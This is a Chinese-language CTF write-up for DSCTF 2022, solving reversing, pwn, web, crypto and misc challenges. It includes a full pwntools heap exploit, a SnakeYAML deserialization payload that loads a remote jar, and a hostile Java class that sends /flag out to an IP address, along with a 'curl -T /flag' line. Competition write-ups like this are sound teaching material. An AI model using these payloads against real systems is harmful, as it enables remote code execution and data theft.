dsctf2022 wp
RE
FFunction
一眼丁真来到myplugin.dll的f函数
是魔改tea和一个base64和一点小加密
密文enc通过函数参数传进来 动调
解tea
#include <stdio.h>
#include <windows.h>
void Decrypt(UINT32 *v, UINT32 *k)
{
unsigned long n = 32, sum, y = v[0], z = v[1];
unsigned long delta = 0x79B99E37;
sum = delta << 5;
while (n-- > 0)
{
z += ((y << 4) + k[2]) ^ (y + sum) ^ ((y >> 5) + k[3]);
y += ((z << 4) + k[0]) ^ (z + sum) ^ ((z >> 5) + k[1]);
sum -= delta;
}
v[0] = y;
v[1] = z;
}
int main()
{
UINT32 key[4] = {0x0BABEC0FE,
0x0DEADBEEF,
0x0FACEB00C,
0xDEADC0DE};
UINT32 enc[21] = {1544910156, 3520561639, 1344008563, 3410866722,
559768053, 1070243559, 2088154567, 3353185465,
2567775226, 195762899, 2383595826, 3540499186,
3844985123, 4223045420, 3185071075, 2301501006,
970811130, 2281630821, 813456992, 873229312, 0};
Decrypt(enc, key);
Decrypt(enc + 2, key);
Decrypt(enc + 4, key);
Decrypt(enc + 6, key);
Decrypt(enc + 8, key);
Decrypt(enc + 10, key);
Decrypt(enc + 12, key);
Decrypt(enc + 14, key);
Decrypt(enc + 16, key);
Decrypt(enc + 18, key);
Decrypt(enc + 20, key);
for (int i = 0; i < 20 * 4; i++)
{
printf("%02x", ((char *)enc)[i]);
}
}
倒着读 高低位拆开 再拼回去
import base64
a="30014006400460044007500230035008600c400a600e6003600c300930016004300340025004400d7007500250086002600f5006300050083007400e3000500a600840055007400970033001600e500a"
import re
ccc=re.findall(".{2}",a)
ccc=[int(i,16) for i in ccc]
fl=""
for index in range(0,len(ccc),2):
fl+=(chr(ccc[index]+ccc[index+1]))
print(fl[::-1])
print(base64.b64decode(fl[::-1]).decode())
flag="f}l!a!gC{_Ehmtp10ww_erre_tFt1u"
print(len(flag))
f1=""
f2=""
for index in range(len(flag)):
if index%2==0:
f1+=flag[index]
else:
f2+=flag[index]
print(f1+f2)
flag{Emp0wer_F1}!!C_ht1w_rettu
手动拼一下得了
flag{Emp0wer_F1utter_w1th_C!!}
catchme
安卓 so里面check函数
findcrypto插件定位到aes函数
发现IV和key是一样的
再往上X来到疑似check的地方
直接解不对 注意到好像做了字符串混淆操作
搜索相关函数 找到文章
https://www.anquanke.com/post/id/181051#h3-4
跑脚本即可还原
逻辑就是输入的flag跑一个aes加密 再走一个换表base64
import base64
a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()+/"
ori = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
c = "#pZ%eVSk!QNUlfNIjemL&w=="
r = ""
for x in c:
r += ori[a.index(x)]
print(r)
print(base64.b64decode("2pZ4eVSk0QNUlfNIjemL6w=="))
'\xda\x96xyT\xa4\xd1\x03T\x95\xf3H\x8d\xe9\x8b\xeb'
转为hex da96787954a4d1035495f3488de98beb
替换逗号即可
Pwn
fuzzerinstrospector
题目不存在传统意义上的漏洞,但是在show函数存在以下代码
printf("Bit: %hhu\n", *(unsigned __int8 *)(chunk + *(unsigned __int8 *)(chunk + i) + 8));
这里是根据chunk的前面几个字节的数值来打印后面的内容,所以思路就是在后面从0-256个字节开始排序,那么输出即可泄漏出libc地址。
最后直接发送system地址的值即可
from pwn import *
elf = ELF('./fuzzerinstrospector')
r = process('./fuzzerinstrospector')
# r = remote('39.105.185.193', 30007)
libc = ELF('libc-2.27.so')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
def create(idx, bit, data):
bit = list(bit)
while len(bit) != 8:
bit.append(0)
data = data.ljust(256, b'\x00')
r.sendlineafter(b'choice: ', b'1')
r.sendlineafter(b'Index: ', bytes(str(idx), encoding='utf8'))
for i in bit[:8]:
if i == b'\x00':
r.sendafter(b'Index: ', bytes(str(i), encoding='utf8'))
break
r.sendlineafter(b'Index: ', bytes(str(i), encoding='utf8'))
r.sendlineafter(b'Bitmap:', data)
def edit(idx, bit, data):
while len(bit) != 8:
bit.append(0)
data = data.ljust(256, b'\x00')
r.sendlineafter(b'choice: ', b'2')
r.sendlineafter(b'Index: ', bytes(str(idx), encoding='utf8'))
for i in bit[:8]:
r.sendlineafter(b'Index: ', bytes(str(i), encoding='utf8'))
if i == b'\x00':
break
r.sendlineafter(b'Bitmap:', data)
def show(idx):
r.sendlineafter(b'choice: ', b'3')
r.sendlineafter(b'Index: ', bytes(str(idx), encoding='utf8'))
bit = []
for i in range(8):
r.readuntil(b'Bit: ')
bit.append(int(r.readline().strip()))
return bit
def free(idx):
r.sendlineafter(b'choice: ', b'4')
r.sendlineafter(b'Index: ', bytes(str(idx), encoding='utf8'))
data = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
for i in range(9):
create(i, '-' * 8, data)
# gdb.attach(r)
for i in range(8):
free(i)
free(8)
bin_sh = []
for i in '/bin/sh':
bin_sh.append(ord(i))
for i in range(7):
create(i, bin_sh, data)
create(7, '-' * 8, data)
# gdb.attach(r)
x = show(7)
y = ''
for i in x:
y = hex(i)[2:] + y
main_arena = int(y, 16) - 0x60
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
r.recvuntil(b'choice: ')
r.sendline(b'6')
r.sendline(bytes(str(system), encoding='utf8'))
r.interactive()
Web
easy_yaml
http://39.105.38.203:30113/;/load/%3b1
persondata=!!com.ctf.velocity.Bean.Person%0Aaddress%3A%20%7Bext%3A%20!!javax.script.ScriptEngineManager%20%5B!!java.net.URLClassLoader%20%5B%5B!!java.net.URL%20%5B%22http%3A%2F%2F47.93.248.221%3A8888%2Fyaml-payload.jar%22%5D%5D%5D%5D%2C%20isValid%3A%20false%2C%20street%3A%20null%7D%0Aage%3A%20null%0AisLogin%3A%20false%0Ausername%3A%20null
python -m http.server 8888
nc -lvp 2333
恶意类
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
// Runtime.getRuntime().exec("curl -T /flag 47.93.248.221:2333");
new java.net.URL("http://47.93.248.221:2333/?a="+new java.io.BufferedReader(new java.io.FileReader("/flag")).readLine()).openConnection().getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
Crypto
picproblem
利用dp
泄露先获取一下hint
,得到kn=8
import libnum
import gmpy2
e= 65537
n = 85413323752199019806030766630760449394238054889872415531186815348349883843039718091361611175963675771467536496812507338620957273406076058263122453235926619595761737396698699834116678598534261542535530241537247151318756003375573850725841254167462648747492270335084402716816450008370008491069875351593380154253
dp = 1576424214336939000475035870826282526256046059505538052583882122452307602095912733650442447289122473348318614749578285418144935611098423641334952097553125
c = 53653254613997095145108444611576166902006080900281661447007750088487109015427510365774527924664116641019490904245926171500894236952984157500461367769566121581870986304353174732328118576440353500038670030097108081972287049673200783198844842527470746431369314585103203118824985764754487936404004696485346196488
for i in range(1,65535):
p = (dp * e - 1) // i + 1
if n % p == 0:
q = n // p
break
print(p)
print(q)
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(m)
hint = libnum.n2s(int(m)).decode()
print(hint)
接着求解一下佩尔方程,得到x
和y
的值
def Pell(D):
temp = continued_fraction(sqrt(D))
for i in range(100000):
denom = temp.denominator(i)
num = temp.numerator(i)
if num ^ 2 - D * denom ^ 2 == 1:
return num, denom
return None, None
Pell(903751)
# (x, y) = (1524993807674193841904821512553946379967374698278296055158206699585083472817489721493862711615915407326315660670541801753616900039772802728925226091475860689682871555641241500183892397513037971186709123629077584204226084524811673794984687840178772052545441242927492902583547355565525538664836516589721942980577095421561886873928634330640979800040574060218872787212426630202508118484269553983399179155489583316400107655564222453437462724749097265122300644936717434151331633092585140183510349369422527440264746843972834927860065578557836150798690530172694679514231722613822246810010130005324032492360889531553803832398604563088256410481865243771216990603166993198935358471831328395618477974126824762560872337594997394218234427050399655270848385995088586420526886397320949350980406936200217112040971433660322179072288438842964957568719036794320203116263329623589339367497303140938070334557345834226085189140858264388063745189833584962825509843279678826240558480527560, 1604145232044543633656616254647708451166351104281510395737885491696385806407267633308545985473789119651681711082023113933085624628557168423578747544761597312012713558891523798820667618256495398479378172124019360339427592449217208805888502769358288779859969965560832505104388955091637704481336716722418336373334467787371085728212260231330510705797124224353810509272250940285165605853594811893804251478850270703294638335268305881655491870226553141286503109543313414279220480589704210363277523457948607498351377843904335637032510420141505975997452077477296326035048463179997347136990808017374750824810458605412236391952910679246288287664717533857743462935708681309073915761377477454479206054016260422865457862565353002789887917196437750618212918420129464330488021272187952177063175896447842395209693304502304253471733746765257510395226972224876277717457205220726240042035259947453816668460757995771018155703600926745905595162857982860955545877343914746294034180707)
最后根据给出的加密代码写出对应的解密代码即可,得到flag
图片:flag{yes_you_finish_it!!!}
import matplotlib.pyplot as plt
from PIL import Image
from Crypto.Util.number import *
from numpy import array, zeros, uint8
import gmpy2 as gp
import cv2
kn = 8
(x, y) = (1524993807674193841904821512553946379967374698278296055158206699585083472817489721493862711615915407326315660670541801753616900039772802728925226091475860689682871555641241500183892397513037971186709123629077584204226084524811673794984687840178772052545441242927492902583547355565525538664836516589721942980577095421561886873928634330640979800040574060218872787212426630202508118484269553983399179155489583316400107655564222453437462724749097265122300644936717434151331633092585140183510349369422527440264746843972834927860065578557836150798690530172694679514231722613822246810010130005324032492360889531553803832398604563088256410481865243771216990603166993198935358471831328395618477974126824762560872337594997394218234427050399655270848385995088586420526886397320949350980406936200217112040971433660322179072288438842964957568719036794320203116263329623589339367497303140938070334557345834226085189140858264388063745189833584962825509843279678826240558480527560, 1604145232044543633656616254647708451166351104281510395737885491696385806407267633308545985473789119651681711082023113933085624628557168423578747544761597312012713558891523798820667618256495398479378172124019360339427592449217208805888502769358288779859969965560832505104388955091637704481336716722418336373334467787371085728212260231330510705797124224353810509272250940285165605853594811893804251478850270703294638335268305881655491870226553141286503109543313414279220480589704210363277523457948607498351377843904335637032510420141505975997452077477296326035048463179997347136990808017374750824810458605412236391952910679246288287664717533857743462935708681309073915761377477454479206054016260422865457862565353002789887917196437750618212918420129464330488021272187952177063175896447842395209693304502304253471733746765257510395226972224876277717457205220726240042035259947453816668460757995771018155703600926745905595162857982860955545877343914746294034180707)
img = cv2.imread(r"C:\Users\95235\Downloads\picproblemd865943d\encflag.jpg")
img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
image_array = array(img_gray)
w = len(image_array)
h = len(image_array[0])
x1 = round(x / y * 0.001, 16)
u1 = y * 3650 / x
x2 = round(x / y * 0.00101, 16)
u2 = y * 3675 / x
x3 = round(x / y * 0.00102, 16)
u3 = y * 3680/x
kt = [x1, x2, x3]
tmp_img = zeros(shape=[w, h, 3], dtype=uint8)
for k in range(kn):
for i in range(w):
for j in range(h):
x1 = u1 * x1 * (1 - x1)
x2 = u2 * x2 * (1 - x2)
x3 = u3 * x3 * (1 - x3)
r1 = int(x1*255)
r2 = int(x2*255)
r3 = int(x3*255)
tmp_img[i][j] = (image_array[i][j] - ((r1 + r2) ^ r3)) % 256
x1 = kt[0]
x2 = kt[1]
x3 = kt[2]
enc_flag_array = Image.fromarray(tmp_img)
enc_flag_array.show()
enc_flag_array.save(r"C:\Users\95235\Downloads\picproblemd865943d\flag.jpg")
MISC
Welcome_to_DSCTF
base64解密
Muti Operations
Level 1:
找到com.apple.sharingd.plist中的lastUpdated键值。2021/10/22_9/14/38
Level 2:
/dev/input/mice的数据结构以3字节为一个单位,每个结构体包含了x、y的相对移动和左中右键的按键状态。
可以使用下面的程序解码:
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char** argv)
{
int fd, bytes;
unsigned char data[3];
const char *pDevice = "./micelog";
// Open Mouse
fd = open(pDevice, O_RDWR);
if(fd == -1)
{
printf("ERROR Opening %s\n", pDevice);
return -1;
}
int left, middle, right;
signed char x, y;
while(1)
{
// Read Mouse
bytes = read(fd, data, sizeof(data));
if(bytes > 0)
{
left = data[0] & 0x1;
right = data[0] & 0x2;
middle = data[0] & 0x4;
x = data[1];
y = data[2];
printf("%d %d %d %d %d\n", x, y, left, middle, right);
}
}
return 0;
}
导出为parsed.txt
,再用Python脚本处理下,画出图来:
import turtle
f=open("parsed.txt").readlines()
fp=0
writing=False
turtle.position()
turtle.speed(1000)
turtle.pensize(1)
for line in f:
x,y,l,m,r=[int(i) for i in line.split(' ')]
if l==0:
turtle.pensize(1)
if l==1:
turtle.pensize(3)
turtle.goto(turtle.pos()+(x,y))
input()
得出为CATCHMEIFYOUCAN
,解压缩包的密码得到flag。